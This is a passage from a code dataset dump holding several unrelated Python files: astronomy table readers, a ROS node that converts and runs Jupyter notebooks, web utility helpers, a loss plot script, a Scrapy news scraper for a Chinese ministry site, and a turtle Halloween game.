ftbl['c8_err']\n\tc24 = ftbl['log[M_S/M_sun]']\n\tc25 = ftbl['c9_err']\n\tc26 = ftbl['sSFR']\n\tc27 = ftbl['c10_err']\n\tc28 = ftbl['nu_ob_1']\n\tc29 = ftbl['nu_ob_2']\n\tc30 = ftbl['c11_err']\n\tc31 = ftbl['v_fwhm']\n\tc32 = ftbl['c12_err']\n\tc33 = ftbl['S_COXDeltaV']\n\tc34 = ftbl['c13_err']\n\tc35 = ftbl['L_CO']\n\tc36 = ftbl['c14_err']\n\tc37 = ftbl['log[M_H2/M_sun]']\n\tc38 = ftbl['c15_err']\n\tc39 = ftbl['R_FWHM']\n\tc40 = ftbl['c16_err']\n\tc41 = ftbl['SFE']\n\tc42 = ftbl['c17_err']\n\tc43 = ftbl['SIGMA_gas']\n\tc44 = ftbl['c18_err']\n\tc45 = ftbl['SIGMA_SFR']\n\tc46 = ftbl['c19_err']\n\tc47 = ftbl['Tau_gas']\n\tc48 = ftbl['c20_err']\n\tif 'MRP' in table_name:\n\t\tc49 = ftbl['M']\n\t\tc50 = ftbl['M_N']\n\t\treturn(ftbl,c1,c2,c3,c4,c5,c6,c7,c8,c9,c10,\n\t\t\tc11,c12,c13,c14,c15,c16,c17,c18,c19,c20,\n\t\t\tc21,c22,c23,c24,c25,c26,c27,c28,c29,c30,\n\t\t\tc31,c32,c33,c34,c35,c36,c37,c38,c39,c40,\n\t\t\tc41,c42,c43,c44,c45,c46,c47,c48,c49,c50)\n\telse:\n\t\treturn(ftbl,c1,c2,c3,c4,c5,c6,c7,c8,c9,c10,\n\t\t\tc11,c12,c13,c14,c15,c16,c17,c18,c19,c20,\n\t\t\tc21,c22,c23,c24,c25,c26,c27,c28,c29,c30,\n\t\t\tc31,c32,c33,c34,c35,c36,c37,c38,c39,c40,\n\t\t\tc41,c42,c43,c44,c45,c46,c47,c48)\n\ndef Table_Read_Lit(table_name,format_tbl,*args, **kwargs):\n\tftbl = aptbl.Table.read(table_name, format=format_tbl)\n\tif 'SDS' in table_name:\n\t\tc1 = ftbl['Name']\n\t\tc2 = ftbl['SSFR']\n\t\tc4 = ftbl['R1']\n\t\tc5 = ftbl['12CO-13CO']\n\t\tc6 = ftbl['12CO-13CO_e']\n\t\tc7 = ftbl['R2']\n\t\tc8 = ftbl['12CO-13CO-2']\n\t\tc9 = ftbl['12CO-13CO-2_e']\n\t\tc10 = ftbl['R3']\n\t\tc11 = ftbl['12CO/C18O']\n\t\tc12 = ftbl['12CO/C18O_e']\n\t\tc13 = ftbl['R4']\n\t\treturn(ftbl,c1,c2,c5,c6,c4,c7,c8,c9,c10,\n\t\t\tc11,c12,c13)\n\telse:\n\t\tpass\n\ndef Table_Read_Width(table_name,format_tbl,*args, **kwargs):\n\tftbl = aptbl.Table.read(table_name, format=format_tbl)\n\tc1 = ftbl['ID']\n\tc2 = ftbl['Fits']\n\tc3 = ftbl['DataSet']\n\tc4 = ftbl['F']\n\tc5 = ftbl['SPW']\n\tc6 = ftbl['State']\n\tc7 = ftbl['RA']\n\tc8 = ftbl['Dec']\n\tc9 = ftbl['RA_dec']\n\tc10 = ftbl['Dec_deg']\n\tc11 = ftbl['Delta_nu']\n\tc12 = ftbl['nu_obs']\n\tc13 = ftbl['V_obs']\n\tc14 = ftbl['DV']\n\tc15 = ftbl['z']\n\tc16 = ftbl['12CO_exp']\n\tc17 = ftbl['13CO_exp']\n\t#c18 = ftbl['13CO_EXP_CHN']\n\tc19 = ftbl['G_Amp_chn']\n\tc20 = ftbl['G_Amp_Err_chn']\n\tc21 = ftbl['G_Ctr_chn']\n\tc22 = ftbl['G_Ctr_Err_chn']\n\tc23 = ftbl['G_FWHM_chn']*20\n\tc24 = ftbl['G_FWHM_Err_chn']*20\n\tc25 = ftbl['G_Ar2_chn']\n\tc26 = ftbl['Gauss_Ar2_Err_chn']\n\tc27 = ftbl['G_Amp_GHz']\n\tc28 = ftbl['G_Amp_Err_GHz']\n\tc29 = ftbl['G_Ctr_GHz']\n\tc30 = ftbl['G_Ctr_Err_GHz']\n\tc31 = ftbl['G_FWHM_GHz']\n\tc32 = ftbl['G_FWHM_Err_GHz']\n\tc33 = ftbl['G_Ar2_GHz']\n\tc34 = ftbl['Gauss_Ar2_Err_GHz']\n\n\tif '13CO' in table_name or '12CO' in table_name:\n\t\tc18 = ftbl['13CO_EXP_CHN']\n\telif '18CO' in table_name:\n\t\tc18 = ftbl['18CO_EXP_CHN']\n\treturn(ftbl,c1,c2,c3,c4,c5,c6,c7,c8,c9,c10,\n\t\tc11,c12,c13,c14,c15,c16,c17,c18,c19,c20,\n\t\tc21,c22,c23,c24,c25,c26,c27,c28,c29,c30,\n\t\tc31,c32,c33,c34)\n\t\ndef Table_Ipt_Cat_Stats(Cat_Ipt_Tbl_Sts,hdr_sts):\n\tSplt_Vars = split_variable_vars(hdr_sts)\n\tTbl_Splt_Col = Splt_Vars[0]\n\tTbl_Splt_Hdr = Splt_Vars[1]\n\tTbl_Splt_Hdr_Cmt = Splt_Vars[2]\n\n\tz_sample_avg = np.mean(Cat_Ipt_Tbl_Sts[8])\n\tz_sample_med = np.median(Cat_Ipt_Tbl_Sts[8])\n\tz_sample_1sl = np.nanpercentile(Cat_Ipt_Tbl_Sts[8], 15.9)\n\tz_sample_1sh = np.nanpercentile(Cat_Ipt_Tbl_Sts[8], 84.1)\n\tz_sample_2sl = np.nanpercentile(Cat_Ipt_Tbl_Sts[8], 2.30)\n\tz_sample_2sh = np.nanpercentile(Cat_Ipt_Tbl_Sts[8], 97.7)\n\tz_sample_3sl = np.nanpercentile(Cat_Ipt_Tbl_Sts[8], 0.20)\n\tz_sample_3sh = np.nanpercentile(Cat_Ipt_Tbl_Sts[8], 99.8)\n\tz_sample_p25 = np.nanpercentile(Cat_Ipt_Tbl_Sts[8], 25.0)\n\tz_sample_p75 = np.nanpercentile(Cat_Ipt_Tbl_Sts[8], 75.0)\n\n\tSplt_sample_avg = np.mean(Cat_Ipt_Tbl_Sts[Tbl_Splt_Col])\n\tSplt_sample_med = np.median(Cat_Ipt_Tbl_Sts[Tbl_Splt_Col])\n\tSplt_sample_1sl = np.nanpercentile(Cat_Ipt_Tbl_Sts[Tbl_Splt_Col], 15.9)\n\tSplt_sample_1sh = np.nanpercentile(Cat_Ipt_Tbl_Sts[Tbl_Splt_Col], 84.1)\n\tSplt_sample_2sl = np.nanpercentile(Cat_Ipt_Tbl_Sts[Tbl_Splt_Col], 2.30)\n\tSplt_sample_2sh = np.nanpercentile(Cat_Ipt_Tbl_Sts[Tbl_Splt_Col], 97.7)\n\tSplt_sample_3sl = np.nanpercentile(Cat_Ipt_Tbl_Sts[Tbl_Splt_Col], 0.20)\n\tSplt_sample_3sh = np.nanpercentile(Cat_Ipt_Tbl_Sts[Tbl_Splt_Col], 99.8)\n\tSplt_sample_p25 = np.nanpercentile(Cat_Ipt_Tbl_Sts[Tbl_Splt_Col], 25.0)\n\tSplt_sample_p75 = np.nanpercentile(Cat_Ipt_Tbl_Sts[Tbl_Splt_Col], 75.0)\n\tprint\n\tprint ('Redshift (avg): ',z_sample_avg)\n\tprint ('Redshift (med): ',z_sample_med)\n\tprint ('Redshift (avg): ',Splt_sample_avg)\n\tprint ('Redshift (med): ',Splt_sample_med)\n\tprint ('subcube_width : ',subcube_width)\n\tvar_sts = [\n\t\t\t\t['STZ_AVG','STZ_MED',\n\t\t\t\t'STZ_1SL','STZ_1SH',\n\t\t\t\t'STZ_2SL','STZ_2SH',\n\t\t\t\t'STZ_3SL','STZ_3SH',\n\t\t\t\t'STZ_P25','STZ_P75',\n\t\t\t\t'STS_AVG','STS_MED',\n\t\t\t\t'STS_1SL','STS_1SH',\n\t\t\t\t'STS_2SL','STS_2SH',\n\t\t\t\t'STS_3SL','STS_3SH',\n\t\t\t\t'STS_P25','STS_P75'],\n\t\t\t\t[z_sample_avg,z_sample_med,\n\t\t\t\tz_sample_1sl,z_sample_1sh,\n\t\t\t\tz_sample_2sl,z_sample_2sh,\n\t\t\t\tz_sample_3sl,z_sample_3sh,\n\t\t\t\tz_sample_p25,z_sample_p75,\n\t\t\t\tSplt_sample_avg,Splt_sample_med,\n\t\t\t\tSplt_sample_1sl,Splt_sample_1sh,\n\t\t\t\tSplt_sample_2sl,Splt_sample_2sh,\n\t\t\t\tSplt_sample_3sl,Splt_sample_3sh,\n\t\t\t\tSplt_sample_p25,Splt_sample_p75],\n\t\t\t\tTbl_Splt_Hdr,\n\t\t\t\tTbl_Splt_Hdr_Cmt\t\t\t\t\t\n\t\t\t\t]\n\treturn var_sts\n\ndef Read_MCMC_Table_Sample_Stat(tbl_mcmc_ipt,format_tbl,tbl_typ,line,*args, **kwargs):\n\tftbl = aptbl.Table.read(tbl_mcmc_ipt, format=format_tbl)\n\tif tbl_typ == 'Z' and line == 1:\n\t\tc1 = ftbl.columns[1] #1-N1_TOT \t\t9-N2_TOT\n\t\tc2 = ftbl.columns[2] #2-Z1_MED \t\t10-Z2_MED\n\t\tc3 = ftbl.columns[3] #3-Z1_MED_E1SGL \t11-Z2_MED_E1SGL\n\t\tc4 = ftbl.columns[4] #4-Z1_MED_E1SGH \t12-Z2_MED_E1SGH\n\t\treturn ftbl,c1,c2,c3,c4\n\telif tbl_typ == 'Z' and line == 2:\n\t\tc1 = ftbl.columns[9] #9-N2_TOT\n\t\tc2 = ftbl.columns[10] #10-Z2_MED\n\t\tc3 = ftbl.columns[11] #11-Z2_MED_E1SGL\n\t\tc4 = ftbl.columns[12] #12-Z2_MED_E1SGH\n\t\treturn ftbl,c1,c2,c3,c4\n\telif tbl_typ == 'Flx' and line == 1:\n\t\tc1 = ftbl.columns[1]\t#1-N1_TOT\n\t\tc2 = ftbl.columns[2]\t#2-S1_AVG\n\t\tc3 = ftbl.columns[3]\t#3-S1_AVG_E\n\t\tc4 = ftbl.columns[4]\t#4-S1_MED\n\t\tc5 = ftbl.columns[5]\t#5-S1_MED_E\n\t\treturn ftbl,c1,c2,c3,c4,c5\n\telif tbl_typ == 'Flx' and line == 2:\n\t\tc1 = ftbl.columns[6]\t#6-N1_TOT\n\t\tc2 = ftbl.columns[7]\t#7-S1_AVG\n\t\tc3 = ftbl.columns[8]\t#8-S1_AVG_E\n\t\tc4 = ftbl.columns[9]\t#9-S1_MED\n\t\tc5 = ftbl.columns[10]\t#10-S1_MED_E\n\t\treturn ftbl,c1,c2,c3,c4,c5\n\telif tbl_typ == 'Lum' and line == 1:\n\t\tc1 = ftbl.columns[1]\t#N1_TOT\n\t\tc2 = ftbl.columns[2]\t#L1_AVG\n\t\tc3 = ftbl.columns[3]\t#L1_AVG_E1SGL\n\t\tc4 = ftbl.columns[4]\t#L1_AVG_E1SGH\n\t\tc10 = ftbl.columns[9]\t#L1_MED\n\t\tc11 = ftbl.columns[10]\t#L1_MED_E1SGL\n\t\tc12 = ftbl.columns[11]\t#L1_MED_E1SGH\n\t\treturn ftbl,c1,c2,c3,c4,c10,c11,c12\n\telif tbl_typ == 'Lum' and line == 2:\n\t\tc1 = ftbl.columns[17]\t#N1_TOT\n\t\tc2 = ftbl.columns[18]\t#L2_AVG\n\t\tc3 = ftbl.columns[19]\t#L2_AVG_E1SGL\n\t\tc4 = ftbl.columns[20]\t#L2_AVG_E1SGH\n\t\tc10 = ftbl.columns[25]\t#L2_MED\n\t\tc11 = ftbl.columns[26]\t#L2_MED_E1SGL\n\t\tc12 = ftbl.columns[27]\t#L2_MED_E1SGH\n\t\treturn ftbl,c1,c2,c3,c4,c10,c11,c12\n\telif tbl_typ == 'Var' and line ==1:\n\t\tc1 = ftbl.columns[1]\n\t\tc2 = ftbl.columns[2]\n\t\tc3 = ftbl.columns[3]\n\t\tc4 = ftbl.columns[4]\n\t\treturn ftbl,c1,c2,c3,c4\n\telif tbl_typ == 'Var' and line ==2:\n\t\tc1 = ftbl.columns[1]\n\t\tc2 = ftbl.columns[2]\n\t\tc3 = ftbl.columns[3]\n\t\tc4 = ftbl.columns[4]\n\t\treturn ftbl,c1,c2,c3,c4\n\n\telse:\n\t\tpass\n\t\ndef Read_MCMC_Table_MCMC_PLT(tbl_mcmc_plt_ipt,format_tbl,*args,**kwargs):\n\tftbl = aptbl.Table.read(tbl_mcmc_plt_ipt, format=format_tbl)\n\tZ1_AVG_E1_MC_OPT = ftbl['Z1_AVG_E1_MC_OPT'] \n\tZ2_AVG_E1_MC_OPT = ftbl['Z2_AVG_E1_MC_OPT'] \n\tZ1_MED_E1_MC_OPT = ftbl['Z1_MED_E1_MC_OPT'] \n\tZ2_MED_E1_MC_OPT = ftbl['Z2_MED_E1_MC_OPT'] \n\tV1_AVG_E1_MC_OPT = ftbl['V1_AVG_E1_MC_OPT'] \n\tV2_AVG_E1_MC_OPT = ftbl['V2_AVG_E1_MC_OPT'] \n\tV1_MED_E1_MC_OPT = ftbl['V1_MED_E1_MC_OPT'] \n\tV2_MED_E1_MC_OPT = ftbl['V2_MED_E1_MC_OPT'] \n\tS1_AVG_E1_MC_OPT = ftbl['S1_AVG_E1_MC_OPT'] \n\tS2_AVG_E1_MC_OPT = ftbl['S2_AVG_E1_MC_OPT'] \n\tS1_MED_E1_MC_OPT = ftbl['S1_MED_E1_MC_OPT'] \n\tS2_MED_E1_MC_OPT = ftbl['S2_MED_E1_MC_OPT'] \n\tL1_AVG_E1_MC_1_OPT = ftbl['L1_AVG_E1_MC_1_OPT'] \n\tL1_MED_E1_MC_1_OPT = ftbl['L1_MED_E1_MC_1_OPT'] \n\tL1_AVG_E1_MC_2_OPT = ftbl['L1_AVG_E1_MC_2_OPT'] \n\tL1_MED_E1_MC_2_OPT = ftbl['L1_MED_E1_MC_2_OPT'] \n\tL2_AVG_E1_MC_1_OPT = ftbl['L2_AVG_E1_MC_1_OPT'] \n\tL2_MED_E1_MC_1_OPT = ftbl['L2_MED_E1_MC_1_OPT'] \n\tL2_AVG_E1_MC_2_OPT = ftbl['L2_AVG_E1_MC_2_OPT'] \n\tL2_MED_E1_MC_2_OPT = ftbl['L2_MED_E1_MC_2_OPT'] \n\tS12_AVG_E1_MC_OPT = ftbl['S12_AVG_E1_MC_OPT'] \n\tS12_MED_E1_MC_OPT = ftbl['S12_MED_E1_MC_OPT'] \n\tL12_AVG_E1_MC_1_OPT = ftbl['L12_AVG_E1_MC_1_OPT'] \n\tL12_MED_E1_MC_1_OPT = ftbl['L12_MED_E1_MC_1_OPT'] \n\tL12_AVG_E1_MC_2_OPT = ftbl['L12_AVG_E1_MC_2_OPT'] \n\tL12_MED_E1_MC_2_OPT = ftbl['L12_MED_E1_MC_2_OPT'] \n\n\tZ1_AVG_E2_MC_OPT = ftbl['Z1_AVG_E2_MC_OPT'] \n\tZ2_AVG_E2_MC_OPT = ftbl['Z2_AVG_E2_MC_OPT'] \n\tZ1_MED_E2_MC_OPT = ftbl['Z1_MED_E2_MC_OPT'] \n\tZ2_MED_E2_MC_OPT = ftbl['Z2_MED_E2_MC_OPT'] \n\tV1_AVG_E2_MC_OPT = ftbl['V1_AVG_E2_MC_OPT'] \n\tV2_AVG_E2_MC_OPT = ftbl['V2_AVG_E2_MC_OPT'] \n\tV1_MED_E2_MC_OPT = ftbl['V1_MED_E2_MC_OPT'] \n\tV2_MED_E2_MC_OPT = ftbl['V2_MED_E2_MC_OPT'] \n\tS1_AVG_E2_MC_OPT = ftbl['S1_AVG_E2_MC_OPT'] \n\tS2_AVG_E2_MC_OPT = ftbl['S2_AVG_E2_MC_OPT'] \n\tS1_MED_E2_MC_OPT = ftbl['S1_MED_E2_MC_OPT'] \n\tS2_MED_E2_MC_OPT = ftbl['S2_MED_E2_MC_OPT'] \n\tL1_AVG_E2_MC_1_OPT = ftbl['L1_AVG_E2_MC_1_OPT'] \n\tL1_MED_E2_MC_1_OPT = ftbl['L1_MED_E2_MC_1_OPT'] \n\tL1_AVG_E2_MC_2_OPT = ftbl['L1_AVG_E2_MC_2_OPT'] \n\tL1_MED_E2_MC_2_OPT = ftbl['L1_MED_E2_MC_2_OPT'] \n\tL2_AVG_E2_MC_1_OPT = ftbl['L2_AVG_E2_MC_1_OPT'] \n\tL2_MED_E2_MC_1_OPT = ftbl['L2_MED_E2_MC_1_OPT'] \n\tL2_AVG_E2_MC_2_OPT = ftbl['L2_AVG_E2_MC_2_OPT'] \n\tL2_MED_E2_MC_2_OPT = ftbl['L2_MED_E2_MC_2_OPT'] \n\tS12_AVG_E2_MC_OPT = ftbl['S12_AVG_E2_MC_OPT'] \n\tS12_MED_E2_MC_OPT = ftbl['S12_MED_E2_MC_OPT'] \n\tL12_AVG_E2_MC_1_OPT = ftbl['L12_AVG_E2_MC_1_OPT'] \n\tL12_MED_E2_MC_1_OPT = ftbl['L12_MED_E2_MC_1_OPT'] \n\tL12_AVG_E2_MC_2_OPT = ftbl['L12_AVG_E2_MC_2_OPT'] \n\tL12_MED_E2_MC_2_OPT\t = ftbl['L12_MED_E2_MC_2_OPT'] \n\topt_tbl = [ftbl,\n\t\t\t\tZ1_AVG_E1_MC_OPT,Z2_AVG_E1_MC_OPT,Z1_MED_E1_MC_OPT,Z2_MED_E1_MC_OPT, #1\n\t\t\t\tV1_AVG_E1_MC_OPT,V2_AVG_E1_MC_OPT,V1_MED_E1_MC_OPT,V2_MED_E1_MC_OPT, #5\n\t\t\t\tS1_AVG_E1_MC_OPT,S2_AVG_E1_MC_OPT,S1_MED_E1_MC_OPT,S2_MED_E1_MC_OPT, #9\n\t\t\t\tL1_AVG_E1_MC_1_OPT,L1_MED_E1_MC_1_OPT,L1_AVG_E1_MC_2_OPT,L1_MED_E1_MC_2_OPT, #13\n\t\t\t\tL2_AVG_E1_MC_1_OPT,L2_MED_E1_MC_1_OPT,L2_AVG_E1_MC_2_OPT,L2_MED_E1_MC_2_OPT, #17\n\t\t\t\tS12_AVG_E1_MC_OPT,S12_MED_E1_MC_OPT, #21\n\t\t\t\tL12_AVG_E1_MC_1_OPT,L12_MED_E1_MC_1_OPT,L12_AVG_E1_MC_2_OPT,L12_MED_E1_MC_2_OPT, #23\n\t\t\t\tZ1_AVG_E2_MC_OPT,Z2_AVG_E2_MC_OPT,Z1_MED_E2_MC_OPT,Z2_MED_E2_MC_OPT, #27\n\t\t\t\tV1_AVG_E2_MC_OPT,V2_AVG_E2_MC_OPT,V1_MED_E2_MC_OPT,V2_MED_E2_MC_OPT, #31\n\t\t\t\tS1_AVG_E2_MC_OPT,S2_AVG_E2_MC_OPT,S1_MED_E2_MC_OPT,S2_MED_E2_MC_OPT, #35\n\t\t\t\tL1_AVG_E2_MC_1_OPT,L1_MED_E2_MC_1_OPT,L1_AVG_E2_MC_2_OPT,L1_MED_E2_MC_2_OPT, #39\n\t\t\t\tL2_AVG_E2_MC_1_OPT,L2_MED_E2_MC_1_OPT,L2_AVG_E2_MC_2_OPT,L2_MED_E2_MC_2_OPT, #43\n\t\t\t\tS12_AVG_E2_MC_OPT,S12_MED_E2_MC_OPT, #47\n\t\t\t\tL12_AVG_E2_MC_1_OPT,L12_MED_E2_MC_1_OPT,L12_AVG_E2_MC_2_OPT,L12_MED_E2_MC_2_OPT #49\n\t\t\t]\n\treturn opt_tbl\n####Fnc_Stk_Tbl_2D####","sub_path":"Fnc_Stk_Tbl_2D.py","file_name":"Fnc_Stk_Tbl_2D.py","file_ext":"py","file_size_in_byte":16880,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"194897194","text":"#!/usr/bin/env python3\n\n\nname = 'jpynb_rx'\n\n\nimport os\nimport time\nimport shutil\nimport subprocess\n\nimport rospy\nimport std_msgs.msg\n\n\nanaly_path = '/home/amigos/hdd/analysis'\nplot_tool_path = '/home/necst/ros/src/nasco_system/plot_tools'\n\n\ndef callback(req):\n temp_jpynb = req.data.split('/')[0] + '_temp.ipynb' # need yfactor_necstdb_temp.ipynb\n temp_jpynb_path = os.path.join(plot_tool_path, temp_jpynb)\n\n jpynb_path = os.path.join(analy_path, req.data)\n if not os.path.exists(jpynb_path):\n os.makedirs(jpynb_path)\n\n path = os.path.join(jpynb_path, temp_jpynb)\n if not os.path.exists(path):\n shutil.copyfile(temp_jpynb_path, path)\n\n print('[INFO] Copy : {0}\\n' \\\n ' --> {1}'.format(temp_jpynb, jpynb_path))\n\n subprocess.run(['jupyter', 'nbconvert', \"--output-dir={0}\".format(jpynb_path), '--to', 'script', path])\n os.chdir(jpynb_path)\n py = os.path.join(jpynb_path, temp_jpynb.replace('ipynb', 'py'))\n\n while not(os.path.exists(py)):\n continue\n subprocess.run(['ipython', '{0}'.format(py), 'xxx'])\n return\n\n\nif __name__ == '__main__':\n if not os.path.exists(analy_path):\n os.makedirs(analy_path)\n pass\n\n rospy.init_node(name)\n rospy.Subscriber(\n name = 'jpynb_path',\n data_class = std_msgs.msg.String,\n callback = callback\n )\n print('[INFO] Waiting trigger...')\n rospy.spin()\n","sub_path":"scripts/jpynb_rx.py","file_name":"jpynb_rx.py","file_ext":"py","file_size_in_byte":1411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"404413837","text":"# Copyright 2009 Google Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"\nMiscellaneous utility functions.\n\"\"\"\n\nimport hmac\nimport logging\nimport os\n\nfrom xml.dom import minidom\n\n\nclass Error(Exception):\n pass\n\n\nclass InvalidValue(Error):\n pass\n\n\ndef get_xml_dom_text(node):\n \"\"\"Returns the text of the first node found with the given tagname.\n Returns None if no node found.\"\"\"\n text = ''\n for child in node.childNodes:\n if child.nodeType == minidom.Node.TEXT_NODE:\n text += child.data\n return text\n\n\ndef get_xml_dom_text_ns(node, namespace, tagname):\n \"\"\"Returns the text of the first node found with the given namespace/tagname.\n Returns None if no node found.\"\"\"\n child_nodes = node.getElementsByTagNameNS(namespace, tagname)\n if child_nodes:\n return get_xml_dom_text(child_nodes[0])\n\n\ndef xml_elem_text(node, tagname, default=None):\n \"\"\"Returns the text of the first node found with the given namespace/tagname.\n returns default if no node found.\"\"\"\n child_nodes = node.getElementsByTagName(tagname)\n if child_nodes:\n return get_xml_dom_text(child_nodes[0])\n return default\n\n# Cached hmac object.\nhmac_master = None\n\ndef signature(value):\n \"\"\"Returns a signature for a param so we can compare it later.\n\n Examples: Signature(url) is compared in the url redirector to prevent other\n sites from using it. Signtaure(user_cookie) is used to limit XSRF attacks.\n \"\"\"\n if not value:\n return None\n # This is a super cheesy way of avoiding storing a secret key...\n # It'll reset every minor update, but that's OK for now.\n global hmac_master\n if not hmac_master:\n hmac_master = hmac.new(os.getenv('CURRENT_VERSION_ID'))\n\n hmac_object = hmac_master.copy()\n hmac_object.update(value)\n return hmac_object.hexdigest()\n\n\ndef get_last_arg(request, argname, default):\n \"\"\"Returns the last urlparam in an HTTP request-- this allows the\n later args to override earlier ones, which is easier for developers\n (vs. earlier ones taking precedence).\"\"\"\n values = request.get(argname, allow_multiple=True)\n if values:\n return values[-1]\n return default\n\n\ndef get_verified_arg(pattern, request, argname, default=None, last=True):\n \"\"\"Return the (last) requested argument, if it passes the pattern.\n\n Args:\n pattern: A re pattern, e.g. re.compile('[a-z]*$')\n request: webob request\n argname: argument to look for\n default: value to return if not found\n last: use the last argument or first argument?\n\n Returns:\n Value in the get param, if prsent and valid. default if not present.\n\n Raises:\n InvalidValue exception if present and not valid.\n \"\"\"\n values = request.get(argname, allow_multiple=True)\n if not values:\n return default\n\n if last:\n value = values[-1]\n else:\n value = value[0]\n\n if not pattern.match(value):\n raise InvalidValue\n\n return value\n\ndef safe_str(instr):\n \"\"\"helper function for making dedup() keys\"\"\"\n return_val = \"\"\n try:\n return_val = str(instr)\n except ValueError:\n for inchar in instr:\n try:\n safe_char = str(inchar)\n return_val += safe_char\n except ValueError:\n continue # discard\n return return_val\n\n\ndef safe_int(given, default_value = 0):\n \"\"\"helper function for getting int values \"\"\"\n return_val = default_value\n try:\n return_val = int(given)\n except:\n pass\n\n return return_val\n\n\ndef unique_list(seq):\n seen = set()\n seen_add = seen.add\n return [ x for x in seq if x not in seen and not seen_add(x)]\n","sub_path":"frontend/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3974,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"126367028","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\narr = list()\n\nf = open('loss.txt', 'r')\nfor line in iter(f):\n\tarr.append(float(line)/8468)\narr = np.array(arr)\n\nN = len(arr)\nprint(arr)\nprint(N)\n\nplt.plot(np.arange(N-5), arr[5:])\nplt.savefig('loss.png')\n","sub_path":"Final/output/dict/plotLoss.py","file_name":"plotLoss.py","file_ext":"py","file_size_in_byte":256,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"578842105","text":"# -*- coding: utf-8 -*-\nimport scrapy\nimport time\nfrom FindNews.items import FindNewsItem\nfrom bs4 import BeautifulSoup\n# 导入Selenium\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\n# 数据库相关\nfrom FindNews.dbhelpers.MysqldbHelper import MysqldbHelper\nfrom FindNews.dbhelpers.MysqldbService import MysqldbService\nfrom FindNews.settings import mysql_properties\n\n\nclass News2Spider(scrapy.Spider):\n name = \"news2spider\"\n tittle = \"《水利部官网》\"\n print(\"当前爬虫处理的数据源为\" + tittle)\n # 初始化数据库相关信息\n mydb = MysqldbHelper(mysql_properties[\"host\"], mysql_properties[\"username\"], mysql_properties[\"password\"],\n mysql_properties[\"port\"], mysql_properties[\"database\"])\n print(\"数据库初始化成功,版本信息--->\" + str(mydb.getVersion()))\n db_service = MysqldbService(mydb, tittle)\n\n root_url = \"http://www.mwr.gov.cn/xw/slyw\"\n start_urls = []\n start_urls.append(root_url + \"/index.html\")\n\n def parse(self, response):\n try:\n # 解析当前页面内容\n soup = BeautifulSoup(response.text, 'lxml')\n all_li = soup.select(\".slnewsconlist li\")\n for i in range(0, len(all_li)):\n li = all_li[i]\n cur_a = li.find(\"a\")\n cur_span = li.find(\"span\")\n new_item = FindNewsItem()\n new_item[\"channel_url\"] = response.url\n new_item[\"content_url\"] = self.root_url + cur_a[\"href\"][1:]\n new_item[\"title\"] = cur_a.get_text().strip()\n new_item[\"description\"] = \"SUCCESS\"\n new_item[\"acquisition_id\"] = \"5\"\n new_item[\"content_id\"] = \"暂无\"\n new_item[\"isread\"] = cur_span.get_text().strip()\n if self.db_service.is_exist_in_db(new_item[\"content_url\"]):\n # 存在,并且不是第一次启动\n if mysql_properties[\"is_first_start\"] != \"true\":\n # 如果当前页最后一条都存在于数据库,则认为完成了增量更新\n # 由于部分页面将重要新闻进行了置顶操作,故不能一存在于数据库就认为增量更新完成\n # 局限性在于:置顶数量超过一整个页面,可能性极小\n if i == len(all_li) - 1:\n print(self.tittle + \"完成增量数据更新,最后一条记录--->\" + new_item[\"title\"])\n return\n else:\n self.db_service.insert_item_to_db(new_item)\n # 跳转到下一页面---由于是js代码,无法获取分页信息\n # 改用selenium模拟浏览器的方式获取下一页地址\n chrome_options = Options()\n chrome_options.add_argument('--headless')\n chrome_options.add_argument('--disable-gpu')\n driver = webdriver.Chrome(chrome_options=chrome_options)\n driver.get(response.url)\n time.sleep(4)\n cur_page = driver.page_source\n soup2 = BeautifulSoup(cur_page, 'lxml')\n all_page_span = soup2.select(\".fy span\")\n for span in all_page_span:\n next_page_a = span.find(\"a\")\n if next_page_a is not None:\n if next_page_a.get_text() == \"下一页\":\n next_page_url = self.root_url + \"/\" + next_page_a[\"href\"]\n request = scrapy.http.Request(next_page_url, callback=self.parse)\n time.sleep(3)\n yield request\n except Exception as e:\n print(\"获取页面信息失败\" + self.tittle + \"-->\" + str(e))\n\n def close(self, reason):\n # 关闭数据库连接\n if self.mydb is not None:\n self.mydb.close()\n return\n","sub_path":"FindNews/spiders/news2spider.py","file_name":"news2spider.py","file_ext":"py","file_size_in_byte":3946,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"463951915","text":"# a121_catch_a_turtle.py\r\n#-----import statements-----\r\nimport turtle as trtl\r\nimport random as rand\r\n\r\n#-----game configuration----\r\nfill_color = \"blue\"\r\nshape_size = 3\r\nshape = \"triangle\"\r\nlist = [\"Halloween is on October 31st\",\"Candy corn used to be called Chicken feed\",\"Only 65% of Americans celebrate halloween\",\"Jack'o lanterns in Ireland and Scotland was made out of turnips, beets, and potatoes instead of pumpkins\",\"\"]\r\n#'halloween-2019-blog-1-1.gif', 'download.gif', 'halloween-gettyimages-172988453.gif'\r\n#-----initialize turtle-----\r\npainter = trtl.Turtle()\r\npainter.shape(\"triangle\")\r\npainter.shapesize(3)\r\npainter.fillcolor(\"blue\")\r\n\r\n#-----game functions--------\r\ndef painter_clicked(x,y):\r\n change_position()\r\n halloween_picture(x)\r\ndef change_position():\r\n new_xpos = rand.randint(-400,400)\r\n new_ypos = rand.randint(-300,300)\r\n painter.penup()\r\n painter.goto(new_xpos,new_ypos)\r\ndef halloween_picture(x):\r\n x = rand.randint(0,3)\r\n print(list[x])\r\n#-----events----------------\r\nwn = 